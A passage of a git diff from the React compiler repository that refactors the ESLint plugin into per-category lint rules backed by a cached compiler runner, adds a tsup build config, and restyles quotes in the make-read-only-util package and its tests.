+++ b/compiler/packages/eslint-plugin-react-compiler/src/rules/ReactCompilerRule.ts
@@ -5,225 +5,204 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { transformFromAstSync } from "@babel/core";
-// @ts-expect-error
-import PluginProposalPrivateMethods from "@babel/plugin-proposal-private-methods";
-import type { SourceLocation as BabelSourceLocation } from "@babel/types";
-import BabelPluginReactCompiler, {
+import type {SourceLocation as BabelSourceLocation} from '@babel/types';
+import {
+  CompilerDiagnosticOptions,
+  CompilerErrorDetailOptions,
   CompilerSuggestionOperation,
+} from 'babel-plugin-react-compiler/src';
+import type {Linter, Rule} from 'eslint';
+import runReactCompiler, {RunCacheEntry} from '../shared/RunReactCompiler';
+import {
   ErrorSeverity,
-  parsePluginOptions,
-  validateEnvironmentConfig,
-  type CompilerError,
-  type CompilerErrorDetail,
-  type PluginOptions,
-} from "babel-plugin-react-compiler/src";
-import type { Rule } from "eslint";
-import * as HermesParser from "hermes-parser";
-
-type CompilerErrorDetailWithLoc = Omit<CompilerErrorDetail, "loc"> & {
-  loc: BabelSourceLocation;
-};
+  LintRulePreset,
+  LintRules,
+  type LintRule,
+} from 'babel-plugin-react-compiler/src/CompilerError';
 
 function assertExhaustive(_: never, errorMsg: string): never {
   throw new Error(errorMsg);
 }
 
-function isReactCompilerError(err: Error): err is CompilerError {
-  return err.name === "ReactCompilerError";
+function makeSuggestions(
+  detail: CompilerErrorDetailOptions | CompilerDiagnosticOptions,
+): Array<Rule.SuggestionReportDescriptor> {
+  const suggest: Array<Rule.SuggestionReportDescriptor> = [];
+  if (Array.isArray(detail.suggestions)) {
+    for (const suggestion of detail.suggestions) {
+      switch (suggestion.op) {
+        case CompilerSuggestionOperation.InsertBefore:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.insertTextBeforeRange(
+                suggestion.range,
+                suggestion.text,
+              );
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.InsertAfter:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.insertTextAfterRange(
+                suggestion.range,
+                suggestion.text,
+              );
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.Replace:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.replaceTextRange(suggestion.range, suggestion.text);
+            },
+          });
+          break;
+        case CompilerSuggestionOperation.Remove:
+          suggest.push({
+            desc: suggestion.description,
+            fix(fixer) {
+              return fixer.removeRange(suggestion.range);
+            },
+          });
+          break;
+        default:
+          assertExhaustive(suggestion, 'Unhandled suggestion operation');
+      }
+    }
+  }
+  return suggest;
 }
 
-const DEFAULT_REPORTABLE_LEVELS = new Set([
-  ErrorSeverity.InvalidReact,
-  ErrorSeverity.InvalidJS,
-]);
-let reportableLevels = DEFAULT_REPORTABLE_LEVELS;
+function getReactCompilerResult(context: Rule.RuleContext): RunCacheEntry {
+  // Compat with older versions of eslint
+  const sourceCode = context.sourceCode ?? context.getSourceCode();
+  const filename = context.filename ?? context.getFilename();
+  const userOpts = context.options[0] ?? {};
 
-function isReportableDiagnostic(
-  detail: CompilerErrorDetail
-): detail is CompilerErrorDetailWithLoc {
-  return (
-    reportableLevels.has(detail.severity) &&
-    detail.loc != null &&
-    typeof detail.loc !== "symbol"
-  );
-}
+  const results = runReactCompiler({
+    sourceCode,
+    filename,
+    userOpts,
+  });
 
-const COMPILER_OPTIONS: Partial<PluginOptions> = {
-  noEmit: true,
-  compilationMode: "infer",
-  panicThreshold: "all_errors",
-};
+  return results;
+}
 
-const rule: Rule.RuleModule = {
-  meta: {
-    type: "problem",
-    docs: {
-      description: "Surfaces diagnostics from React Forget",
-      recommended: true,
-    },
-    fixable: "code",
-    hasSuggestions: true,
-    // validation is done at runtime with zod
-    schema: [{ type: "object", additionalProperties: true }],
-  },
-  create(context: Rule.RuleContext) {
-    // Compat with older versions of eslint
-    const sourceCode = context.sourceCode?.text ?? context.getSourceCode().text;
-    const filename = context.filename ?? context.getFilename();
-    const userOpts = context.options[0] ?? {};
+function hasFlowSuppression(
+  program: RunCacheEntry,
+  nodeLoc: BabelSourceLocation,
+  suppressions: Array<string>,
+): boolean {
+  for (const commentNode of program.flowSuppressions) {
     if (
-      userOpts["reportableLevels"] != null &&
-      userOpts["reportableLevels"] instanceof Set
+      suppressions.includes(commentNode.code) &&
+      commentNode.line === nodeLoc.start.line - 1
     ) {
-      reportableLevels = userOpts["reportableLevels"];
-    } else {
-      reportableLevels = DEFAULT_REPORTABLE_LEVELS;
-    }
-    const options: PluginOptions = {
-      ...parsePluginOptions(userOpts),
-      ...COMPILER_OPTIONS,
-    };
-
-    try {
-      options.environment = validateEnvironmentConfig(
-        options.environment ?? {}
-      );
-    } catch (err) {
-      options.logger?.logEvent("", err);
-    }
-
-    function hasFlowSuppression(
-      nodeLoc: BabelSourceLocation,
-      suppression: string
-    ) {
-      const sourceCode = context.getSourceCode();
-      const comments = sourceCode.getAllComments();
-      const flowSuppressionRegex = new RegExp(
-        "\\$FlowFixMe\\[" + suppression + "\\]"
-      );
-      for (const commentNode of comments) {
-        if (
-          flowSuppressionRegex.test(commentNode.value) &&
-          commentNode.loc!.end.line === nodeLoc.start.line - 1
-        ) {
-          return true;
-        }
-      }
-      return false;
+      return true;
     }
+  }
+  return false;
+}
 
-    let babelAST;
-    if (filename.endsWith(".tsx") || filename.endsWith(".ts")) {
-      try {
-        const { parse: babelParse } = require("@babel/parser");
-        babelAST = babelParse(sourceCode, {
-          filename,
-          sourceType: "unambiguous",
-          plugins: ["typescript", "jsx"],
-        });
-      } catch {}
-    } else {
-      try {
-        babelAST = HermesParser.parse(sourceCode, {
-          babel: true,
-          enableExperimentalComponentSyntax: true,
-          sourceFilename: filename,
-          sourceType: "module",
-        });
-      } catch {}
-    }
+function makeRule(rule: LintRule): Rule.RuleModule {
+  const create = (context: Rule.RuleContext): Rule.RuleListener => {
+    const result = getReactCompilerResult(context);
 
-    if (babelAST != null) {
-      try {
-        transformFromAstSync(babelAST, sourceCode, {
-          filename,
-          highlightCode: false,
-          retainLines: true,
-          plugins: [
-            [PluginProposalPrivateMethods, { loose: true }],
-            [BabelPluginReactCompiler, options],
-          ],
-          sourceType: "module",
-          configFile: false,
-          babelrc: false,
-        });
-      } catch (err) {
-        if (isReactCompilerError(err) && Array.isArray(err.details)) {
-          for (const detail of err.details) {
-            if (!isReportableDiagnostic(detail)) {
-              continue;
-            }
-            if (hasFlowSuppression(detail.loc, "react-rule-hook")) {
-              // If Flow already caught this error, we don't need to report it again.
-              continue;
-            }
-            let suggest: Array<Rule.SuggestionReportDescriptor> = [];
-            if (Array.isArray(detail.suggestions)) {
-              for (const suggestion of detail.suggestions) {
-                switch (suggestion.op) {
-                  case CompilerSuggestionOperation.InsertBefore:
-                    suggest.push({
-                      desc: suggestion.description,
-                      fix(fixer) {
-                        return fixer.insertTextBeforeRange(
-                          suggestion.range,
-                          suggestion.text
-                        );
-                      },
-                    });
-                    break;
-                  case CompilerSuggestionOperation.InsertAfter:
-                    suggest.push({
-                      desc: suggestion.description,
-                      fix(fixer) {
-                        return fixer.insertTextAfterRange(
-                          suggestion.range,
-                          suggestion.text
-                        );
-                      },
-                    });
-                    break;
-                  case CompilerSuggestionOperation.Replace:
-                    suggest.push({
-                      desc: suggestion.description,
-                      fix(fixer) {
-                        return fixer.replaceTextRange(
-                          suggestion.range,
-                          suggestion.text
-                        );
-                      },
-                    });
-                    break;
-                  case CompilerSuggestionOperation.Remove:
-                    suggest.push({
-                      desc: suggestion.description,
-                      fix(fixer) {
-                        return fixer.removeRange(suggestion.range);
-                      },
-                    });
-                    break;
-                  default:
-                    assertExhaustive(
-                      suggestion,
-                      "Unhandled suggestion operation"
-                    );
-                }
-              }
-            }
-            context.report({
-              message: detail.reason,
-              loc: detail.loc,
-              suggest,
-            });
+    for (const event of result.events) {
+      if (event.kind === 'CompileError') {
+        const detail = event.detail;
+        if (detail.category === rule.category) {
+          const loc = detail.primaryLocation();
+          if (loc == null || typeof loc === 'symbol') {
+            continue;
           }
-        } else {
-          options.logger?.logEvent("", err);
+          if (
+            hasFlowSuppression(result, loc, [
+              'react-rule-hook',
+              'react-rule-unsafe-ref',
+            ])
+          ) {
+            // If Flow already caught this error, we don't need to report it again.
+            continue;
+          }
+          /*
+           * TODO: if multiple rules report the same linter category,
+           * we should deduplicate them with a "reported" set
+           */
+          context.report({
+            message: detail.printErrorMessage(result.sourceCode, {
+              eslint: true,
+            }),
+            loc,
+            suggest: makeSuggestions(detail.options),
+          });
         }
       }
     }
     return {};
-  },
+  };
+
+  return {
+    meta: {
+      type: 'problem',
+      docs: {
+        description: rule.description,
+        recommended: rule.preset === LintRulePreset.Recommended,
+      },
+      fixable: 'code',
+      hasSuggestions: true,
+      // validation is done at runtime with zod
+      schema: [{type: 'object', additionalProperties: true}],
+    },
+    create,
+  };
+}
+
+type RulesConfig = {
+  [name: string]: {rule: Rule.RuleModule; severity: ErrorSeverity};
 };
 
-export default rule;
+export const allRules: RulesConfig = LintRules.reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export const recommendedRules: RulesConfig = LintRules.filter(
+  rule => rule.preset === LintRulePreset.Recommended,
+).reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export const recommendedLatestRules: RulesConfig = LintRules.filter(
+  rule =>
+    rule.preset === LintRulePreset.Recommended ||
+    rule.preset === LintRulePreset.RecommendedLatest,
+).reduce((acc, rule) => {
+  acc[rule.name] = {rule: makeRule(rule), severity: rule.severity};
+  return acc;
+}, {} as RulesConfig);
+
+export function mapErrorSeverityToESlint(
+  severity: ErrorSeverity,
+): Linter.StringSeverity {
+  switch (severity) {
+    case ErrorSeverity.Error: {
+      return 'error';
+    }
+    case ErrorSeverity.Warning: {
+      return 'warn';
+    }
+    case ErrorSeverity.Hint:
+    case ErrorSeverity.Off: {
+      return 'off';
+    }
+    default: {
+      assertExhaustive(severity, `Unhandled severity: ${severity}`);
+    }
+  }
+}
diff --git a/compiler/packages/eslint-plugin-react-compiler/src/shared/RunReactCompiler.ts b/compiler/packages/eslint-plugin-react-compiler/src/shared/RunReactCompiler.ts
new file mode 100644
index 000000000000..aa55c64237e1
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/src/shared/RunReactCompiler.ts
@@ -0,0 +1,231 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {transformFromAstSync} from '@babel/core';
+import {parse as babelParse} from '@babel/parser';
+import {File} from '@babel/types';
+import BabelPluginReactCompiler, {
+  parsePluginOptions,
+  validateEnvironmentConfig,
+  type PluginOptions,
+} from 'babel-plugin-react-compiler/src';
+import {Logger, LoggerEvent} from 'babel-plugin-react-compiler/src/Entrypoint';
+import type {SourceCode} from 'eslint';
+// @ts-expect-error: no types available
+import * as HermesParser from 'hermes-parser';
+import {isDeepStrictEqual} from 'util';
+import type {ParseResult} from '@babel/parser';
+
+const COMPILER_OPTIONS: PluginOptions = {
+  outputMode: 'lint',
+  panicThreshold: 'none',
+  // Don't emit errors on Flow suppressions--Flow already gave a signal
+  flowSuppressions: false,
+  environment: validateEnvironmentConfig({
+    validateRefAccessDuringRender: true,
+    validateNoSetStateInRender: true,
+    validateNoSetStateInEffects: true,
+    validateNoJSXInTryStatements: true,
+    validateNoImpureFunctionsInRender: true,
+    validateStaticComponents: true,
+    validateNoFreezingKnownMutableFunctions: true,
+    validateNoVoidUseMemo: true,
+    // TODO: remove, this should be in the type system
+    validateNoCapitalizedCalls: [],
+    validateHooksUsage: true,
+    validateNoDerivedComputationsInEffects: true,
+  }),
+};
+
+export type RunCacheEntry = {
+  sourceCode: string;
+  filename: string;
+  userOpts: PluginOptions;
+  flowSuppressions: Array<{line: number; code: string}>;
+  events: Array<LoggerEvent>;
+};
+
+type RunParams = {
+  sourceCode: SourceCode;
+  filename: string;
+  userOpts: PluginOptions;
+};
+const FLOW_SUPPRESSION_REGEX = /\$FlowFixMe\[([^\]]*)\]/g;
+
+function getFlowSuppressions(
+  sourceCode: SourceCode,
+): Array<{line: number; code: string}> {
+  const comments = sourceCode.getAllComments();
+  const results: Array<{line: number; code: string}> = [];
+
+  for (const commentNode of comments) {
+    const matches = commentNode.value.matchAll(FLOW_SUPPRESSION_REGEX);
+    for (const match of matches) {
+      if (match.index != null && commentNode.loc != null) {
+        const code = match[1];
+        results.push({
+          line: commentNode.loc!.end.line,
+          code,
+        });
+      }
+    }
+  }
+  return results;
+}
+
+function runReactCompilerImpl({
+  sourceCode,
+  filename,
+  userOpts,
+}: RunParams): RunCacheEntry {
+  // Compat with older versions of eslint
+  const options: PluginOptions = parsePluginOptions({
+    ...COMPILER_OPTIONS,
+    ...userOpts,
+    environment: {
+      ...COMPILER_OPTIONS.environment,
+      ...userOpts.environment,
+    },
+  });
+  const results: RunCacheEntry = {
+    sourceCode: sourceCode.text,
+    filename,
+    userOpts,
+    flowSuppressions: [],
+    events: [],
+  };
+  const userLogger: Logger | null = options.logger;
+  options.logger = {
+    logEvent: (eventFilename, event): void => {
+      userLogger?.logEvent(eventFilename, event);
+      results.events.push(event);
+    },
+  };
+
+  try {
+    options.environment = validateEnvironmentConfig(options.environment ?? {});
+  } catch (err: unknown) {
+    options.logger?.logEvent(filename, err as LoggerEvent);
+  }
+
+  let babelAST: ParseResult<File> | null = null;
+  if (filename.endsWith('.tsx') || filename.endsWith('.ts')) {
+    try {
+      babelAST = babelParse(sourceCode.text, {
+        sourceFilename: filename,
+        sourceType: 'unambiguous',
+        plugins: ['typescript', 'jsx'],
+      });
+    } catch {
+      /* empty */
+    }
+  } else {
+    try {
+      babelAST = HermesParser.parse(sourceCode.text, {
+        babel: true,
+        enableExperimentalComponentSyntax: true,
+        sourceFilename: filename,
+        sourceType: 'module',
+      });
+    } catch {
+      /* empty */
+    }
+  }
+
+  if (babelAST != null) {
+    results.flowSuppressions = getFlowSuppressions(sourceCode);
+    try {
+      transformFromAstSync(babelAST, sourceCode.text, {
+        filename,
+        highlightCode: false,
+        retainLines: true,
+        plugins: [[BabelPluginReactCompiler, options]],
+        sourceType: 'module',
+        configFile: false,
+        babelrc: false,
+      });
+    } catch (err) {
+      /* errors handled by injected logger */
+    }
+  }
+
+  return results;
+}
+
+const SENTINEL = Symbol();
+
+// Array backed LRU cache -- should be small < 10 elements
+class LRUCache<K, T> {
+  // newest at headIdx, then headIdx + 1, ..., tailIdx
+  #values: Array<[K, T | Error] | [typeof SENTINEL, void]>;
+  #headIdx: number = 0;
+
+  constructor(size: number) {
+    this.#values = new Array(size).fill(SENTINEL);
+  }
+
+  // gets a value and sets it as "recently used"
+  get(key: K): T | null {
+    let idx = this.#values.findIndex(entry => entry[0] === key);
+    // If found, move to front
+    if (idx === this.#headIdx) {
+      return this.#values[this.#headIdx][1] as T;
+    } else if (idx < 0) {
+      return null;
+    }
+
+    const entry: [K, T] = this.#values[idx] as [K, T];
+
+    const len = this.#values.length;
+    for (let i = 0; i < Math.min(idx, len - 1); i++) {
+      this.#values[(this.#headIdx + i + 1) % len] =
+        this.#values[(this.#headIdx + i) % len];
+    }
+    this.#values[this.#headIdx] = entry;
+    return entry[1];
+  }
+  push(key: K, value: T): void {
+    this.#headIdx =
+      (this.#headIdx - 1 + this.#values.length) % this.#values.length;
+    this.#values[this.#headIdx] = [key, value];
+  }
+}
+const cache = new LRUCache<string, RunCacheEntry>(10);
+
+export default function runReactCompiler({
+  sourceCode,
+  filename,
+  userOpts,
+}: RunParams): RunCacheEntry {
+  const entry = cache.get(filename);
+  if (
+    entry != null &&
+    entry.sourceCode === sourceCode.text &&
+    isDeepStrictEqual(entry.userOpts, userOpts)
+  ) {
+    return entry;
+  } else if (entry != null) {
+    if (process.env['DEBUG']) {
+      console.log(
+        `Cache hit for ${filename}, but source code or options changed, recomputing`,
+      );
+    }
+  }
+
+  const runEntry = runReactCompilerImpl({
+    sourceCode,
+    filename,
+    userOpts,
+  });
+  // If we have a cache entry, we can update it
+  if (entry != null) {
+    Object.assign(entry, runEntry);
+  } else {
+    cache.push(filename, runEntry);
+  }
+  return {...runEntry};
+}
diff --git a/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-eslint.d.ts b/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-eslint.d.ts
index 539daf714205..280b1e1e00a2 100644
--- a/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-eslint.d.ts
+++ b/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-eslint.d.ts
@@ -6,7 +6,7 @@
  */
 
 // v0.17.1
-declare module "hermes-eslint" {
+declare module 'hermes-eslint' {
   // https://fburl.com/2vikhmaa
   type ParseForESLintOptions = {
     /**
@@ -37,7 +37,7 @@ declare module "hermes-eslint" {
     /**
      * The source type of the script.
      */
-    sourceType: "script" | "module";
+    sourceType: 'script' | 'module';
 
     /**
      * Ignore <fbt /> JSX elements when adding references to the module-level `React` variable.
diff --git a/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-parser.d.ts b/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-parser.d.ts
index 40771d183c06..b624caf19c54 100644
--- a/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-parser.d.ts
+++ b/compiler/packages/eslint-plugin-react-compiler/src/types/hermes-parser.d.ts
@@ -6,14 +6,14 @@
  */
 
 // v0.17.1
-declare module "hermes-parser" {
+declare module 'hermes-parser' {
   type HermesParserOptions = {
     allowReturnOutsideFunction?: boolean;
     babel?: boolean;
-    flow?: "all" | "detect";
+    flow?: 'all' | 'detect';
     enableExperimentalComponentSyntax?: boolean;
     sourceFilename?: string;
-    sourceType?: "module" | "script" | "unambiguous";
+    sourceType?: 'module' | 'script' | 'unambiguous';
     tokens?: boolean;
   };
   export function parse(code: string, options: Partial<HermesParserOptions>);
diff --git a/compiler/packages/eslint-plugin-react-compiler/tsconfig.json b/compiler/packages/eslint-plugin-react-compiler/tsconfig.json
index f702a7e21f0d..bbc891773f1f 100644
--- a/compiler/packages/eslint-plugin-react-compiler/tsconfig.json
+++ b/compiler/packages/eslint-plugin-react-compiler/tsconfig.json
@@ -6,9 +6,6 @@
     "rootDir": "../",
     "noEmit": true,
     "jsx": "react-jsxdev",
-    "paths": {
-      "*": ["./src/types/*"]
-    },
 
     // weaken strictness from preset
     "importsNotUsedAsValues": "remove",
diff --git a/compiler/packages/eslint-plugin-react-compiler/tsup.config.ts b/compiler/packages/eslint-plugin-react-compiler/tsup.config.ts
new file mode 100644
index 000000000000..716c2ffff35e
--- /dev/null
+++ b/compiler/packages/eslint-plugin-react-compiler/tsup.config.ts
@@ -0,0 +1,43 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {defineConfig} from 'tsup';
+
+export default defineConfig({
+  entry: ['./src/index.ts'],
+  outDir: './dist',
+  external: [
+    '@babel/core',
+    'hermes-parser',
+    'zod',
+    'zod/v4',
+    'zod-validation-error',
+    'zod-validation-error/v4',
+  ],
+  splitting: false,
+  sourcemap: false,
+  dts: false,
+  bundle: true,
+  format: 'cjs',
+  platform: 'node',
+  banner: {
+    js: `/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @lightSyntaxTransform
+ * @noflow
+ * @nolint
+ * @preventMunge
+ * @preserve-invariant-messages
+ */
+
+"use no memo";`,
+  },
+});
diff --git a/compiler/packages/make-read-only-util/jest.config.js b/compiler/packages/make-read-only-util/jest.config.js
index 7a76f2fc42bb..a0d48ac341ba 100644
--- a/compiler/packages/make-read-only-util/jest.config.js
+++ b/compiler/packages/make-read-only-util/jest.config.js
@@ -7,6 +7,6 @@
 
 /** @type {import('ts-jest/dist/types').InitialOptionsTsJest} */
 module.exports = {
-  preset: "ts-jest",
-  testEnvironment: "node",
+  preset: 'ts-jest',
+  testEnvironment: 'node',
 };
diff --git a/compiler/packages/make-read-only-util/package.json b/compiler/packages/make-read-only-util/package.json
index fd79714bb4b4..20a4643cd529 100644
--- a/compiler/packages/make-read-only-util/package.json
+++ b/compiler/packages/make-read-only-util/package.json
@@ -1,12 +1,14 @@
 {
   "name": "make-read-only-util",
   "version": "0.0.1",
+  "license": "MIT",
   "files": [
     "src"
   ],
   "scripts": {
-    "build": "tsc",
-    "test": "jest src"
+    "build": "rimraf dist && tsup",
+    "test": "jest src",
+    "watch": "yarn build --watch"
   },
   "dependencies": {
     "invariant": "^2.2.4",
@@ -19,5 +21,10 @@
     "jest": "^28.1.3",
     "ts-jest": "^28.0.7",
     "ts-node": "^10.9.2"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/make-read-only-util"
   }
 }
diff --git a/compiler/packages/make-read-only-util/src/__tests__/makeReadOnly-test.ts b/compiler/packages/make-read-only-util/src/__tests__/makeReadOnly-test.ts
index f0ee72eb7cb6..e4b4e61deeef 100644
--- a/compiler/packages/make-read-only-util/src/__tests__/makeReadOnly-test.ts
+++ b/compiler/packages/make-read-only-util/src/__tests__/makeReadOnly-test.ts
@@ -5,9 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import buildMakeReadOnly from "../makeReadOnly";
+import buildMakeReadOnly from '../makeReadOnly';
 
-describe("makeReadOnly", () => {
+describe('makeReadOnly', () => {
   let logger: jest.Func;
   let makeReadOnly: <T>(value: T, source: string) => T;
 
@@ -16,110 +16,110 @@ describe("makeReadOnly", () => {
     makeReadOnly = buildMakeReadOnly(logger, []);
   });
 
-  describe("Tracking mutations", () => {
-    it("can be called with all primitives", () => {
+  describe('Tracking mutations', () => {
+    it('can be called with all primitives', () => {
       const a = 5;
       const b = true;
       const c = null;
-      expect(makeReadOnly(a, "test1")).toBe(a);
-      expect(makeReadOnly(b, "test1")).toBe(b);
-      expect(makeReadOnly(c, "test1")).toBe(c);
+      expect(makeReadOnly(a, 'test1')).toBe(a);
+      expect(makeReadOnly(b, 'test1')).toBe(b);
+      expect(makeReadOnly(c, 'test1')).toBe(c);
     });
 
-    it("retains referential equality", () => {
+    it('retains referential equality', () => {
       const valA = {};
-      const valB = { a: valA, _: valA };
-      const o = { a: valA, b: valB, c: "c" };
-      expect(makeReadOnly(o, "test2")).toBe(o);
-      expect(makeReadOnly(o.a, "test2")).toBe(valA);
-      expect(makeReadOnly(o.b, "test2")).toBe(valB);
-      expect(makeReadOnly(o.b.a, "test2")).toBe(valA);
-      expect(makeReadOnly(o.b._, "test2")).toBe(valA);
-      expect(makeReadOnly(o.c, "test2")).toBe("c");
+      const valB = {a: valA, _: valA};
+      const o = {a: valA, b: valB, c: 'c'};
+      expect(makeReadOnly(o, 'test2')).toBe(o);
+      expect(makeReadOnly(o.a, 'test2')).toBe(valA);
+      expect(makeReadOnly(o.b, 'test2')).toBe(valB);
+      expect(makeReadOnly(o.b.a, 'test2')).toBe(valA);
+      expect(makeReadOnly(o.b._, 'test2')).toBe(valA);
+      expect(makeReadOnly(o.c, 'test2')).toBe('c');
     });
 
-    it("deals with cyclic references", () => {
+    it('deals with cyclic references', () => {
       const o: any = {};
       o.self_ref = o;
-      expect(makeReadOnly(o, "test3")).toBe(o);
-      expect(makeReadOnly(o.self_ref, "test3")).toBe(o);
+      expect(makeReadOnly(o, 'test3')).toBe(o);
+      expect(makeReadOnly(o.self_ref, 'test3')).toBe(o);
     });
-    it("logs direct interior mutability", () => {
-      const o = { a: 0 };
-      makeReadOnly(o, "test4");
+    it('logs direct interior mutability', () => {
+      const o = {a: 0};
+      makeReadOnly(o, 'test4');
       o.a = 42;
-      expect(logger).toBeCalledWith("FORGET_MUTATE_IMMUT", "test4", "a", 42);
+      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test4', 'a', 42);
     });
 
-    it("tracks changes to known RO properties", () => {
-      const o: any = { a: {} };
-      makeReadOnly(o, "test5");
+    it('tracks changes to known RO properties', () => {
+      const o: any = {a: {}};
+      makeReadOnly(o, 'test5');
       o.a = 42;
-      expect(logger).toBeCalledWith("FORGET_MUTATE_IMMUT", "test5", "a", 42);
+      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test5', 'a', 42);
       expect(o.a).toBe(42);
-      const newVal = { x: 0 };
+      const newVal = {x: 0};
       o.a = newVal;
       expect(logger).toBeCalledWith(
-        "FORGET_MUTATE_IMMUT",
-        "test5",
-        "a",
-        newVal
+        'FORGET_MUTATE_IMMUT',
+        'test5',
+        'a',
+        newVal,
       );
       expect(o.a).toBe(newVal);
     });
 
-    it("logs aliased mutations", () => {
-      const o: any = { a: { x: 4 } };
+    it('logs aliased mutations', () => {
+      const o: any = {a: {x: 4}};
 
       const alias = o;
-      makeReadOnly(o, "test6");
+      makeReadOnly(o, 'test6');
       const newVal = {};
       alias.a = newVal;
       expect(logger).toBeCalledWith(
-        "FORGET_MUTATE_IMMUT",
-        "test6",
-        "a",
-        newVal
+        'FORGET_MUTATE_IMMUT',
+        'test6',
+        'a',
+        newVal,
       );
       expect(o.a).toBe(newVal);
     });
 
-    it("logs transitive interior mutability", () => {
-      const o: any = { a: { x: 0 } };
-      makeReadOnly(o, "test7");
+    it('logs transitive interior mutability', () => {
+      const o: any = {a: {x: 0}};
+      makeReadOnly(o, 'test7');
       o.a.x = 42;
-      expect(logger).toBeCalledWith("FORGET_MUTATE_IMMUT", "test7", "x", 42);
+      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test7', 'x', 42);
     });
 
-    describe("todo", () => {
-      it("does not track newly added or deleted vals if makeReadOnly is only called once", () => {
+    describe('todo', () => {
+      it('does not track newly added or deleted vals if makeReadOnly is only called once', () => {
         // this is a limitation of the current "proxy" approach,
         // which overwrites object properties with getters and setters
-        const x: any = { a: {} };
-        makeReadOnly(x, "test8");
+        const x: any = {a: {}};
+        makeReadOnly(x, 'test8');
 
         delete x.a;
         x.b = 0;
         expect(logger).toBeCalledTimes(0);
       });
-      it("does not log aliased indirect mutations", () => {
+      it('does not log aliased indirect mutations', () => {
         // this could be easily implemented by making caching eager
-        const innerObj = { x: 0 };
-        const o = { a: innerObj };
-        makeReadOnly(o, "test9");
+        const innerObj = {x: 0};
+        const o = {a: innerObj};
+        makeReadOnly(o, 'test9');
         innerObj.x = 42;
         expect(o.a.x).toBe(42);
 
-        const o1 = { a: { x: 0 } };
+        const o1 = {a: {x: 0}};
         const innerObj1 = o1.a;
-        makeReadOnly(o1, "test9");
+        makeReadOnly(o1, 'test9');
         innerObj1.x = 42;
 
         expect(o1.a.x).toBe(42);
         expect(logger).toBeCalledTimes(0);
       });
 
-      it("does not track objects with getter/setters", () => {
+      it('does not track objects with getter/setters', () => {
         let backedX: string | null = null;
         const o = {
           set val(val: string | null) {
@@ -129,29 +129,29 @@ describe("makeReadOnly", () => {
             return backedX;
           },
         };
-        expect(makeReadOnly(o, "test10")).toBe(o);
-        expect(makeReadOnly(o.val, "test10")).toBe(null);
+        expect(makeReadOnly(o, 'test10')).toBe(o);
+        expect(makeReadOnly(o.val, 'test10')).toBe(null);
 
-        o.val = "40";
+        o.val = '40';
         expect(logger).toBeCalledTimes(0);
       });
     });
   });
 
-  describe("Tracking adding or deleting properties", () => {
-    it("tracks new properties added between calls to makeReadOnly", () => {
+  describe('Tracking adding or deleting properties', () => {
+    it('tracks new properties added between calls to makeReadOnly', () => {
       const o: any = {};
-      makeReadOnly(o, "test11");
-      o.a = "new value";
-      makeReadOnly(o, "test11");
-      expect(logger).toBeCalledWith("FORGET_ADD_PROP_IMMUT", "test11", "a");
+      makeReadOnly(o, 'test11');
+      o.a = 'new value';
+      makeReadOnly(o, 'test11');
+      expect(logger).toBeCalledWith('FORGET_ADD_PROP_IMMUT', 'test11', 'a');
     });
-    it("tracks properties deleted between calls to makeReadOnly", () => {
-      const o: any = { a: 0 };
-      makeReadOnly(o, "test12");
+    it('tracks properties deleted between calls to makeReadOnly', () => {
+      const o: any = {a: 0};
+      makeReadOnly(o, 'test12');
       delete o.a;
-      makeReadOnly(o, "test12");
-      expect(logger).toBeCalledWith("FORGET_DELETE_PROP_IMMUT", "test12", "a");
+      makeReadOnly(o, 'test12');
+      expect(logger).toBeCalledWith('FORGET_DELETE_PROP_IMMUT', 'test12', 'a');
     });
 
     // it("tracks properties deleted and re-added between calls to makeReadOnly", () => {
diff --git a/compiler/packages/make-read-only-util/src/makeReadOnly.ts b/compiler/packages/make-read-only-util/src/makeReadOnly.ts
index 4c5279eccd7d..1e09977ad1a8 100644
--- a/compiler/packages/make-read-only-util/src/makeReadOnly.ts
+++ b/compiler/packages/make-read-only-util/src/makeReadOnly.ts
@@ -5,18 +5,18 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-"use strict";
+'use strict';
 
 type ROViolationType =
-  | "FORGET_MUTATE_IMMUT"
-  | "FORGET_DELETE_PROP_IMMUT"
-  | "FORGET_CHANGE_PROP_IMMUT"
-  | "FORGET_ADD_PROP_IMMUT";
+  | 'FORGET_MUTATE_IMMUT'
+  | 'FORGET_DELETE_PROP_IMMUT'
+  | 'FORGET_CHANGE_PROP_IMMUT'
+  | 'FORGET_ADD_PROP_IMMUT';
 type ROViolationLogger = (
   violation: ROViolationType,
   source: string,
   key: string,
-  value?: any
+  value?: any,
 ) => void;
 
 /**
@@ -38,21 +38,21 @@ function isWriteable(desc: PropertyDescriptor) {
 
 function getOrInsertDefault(
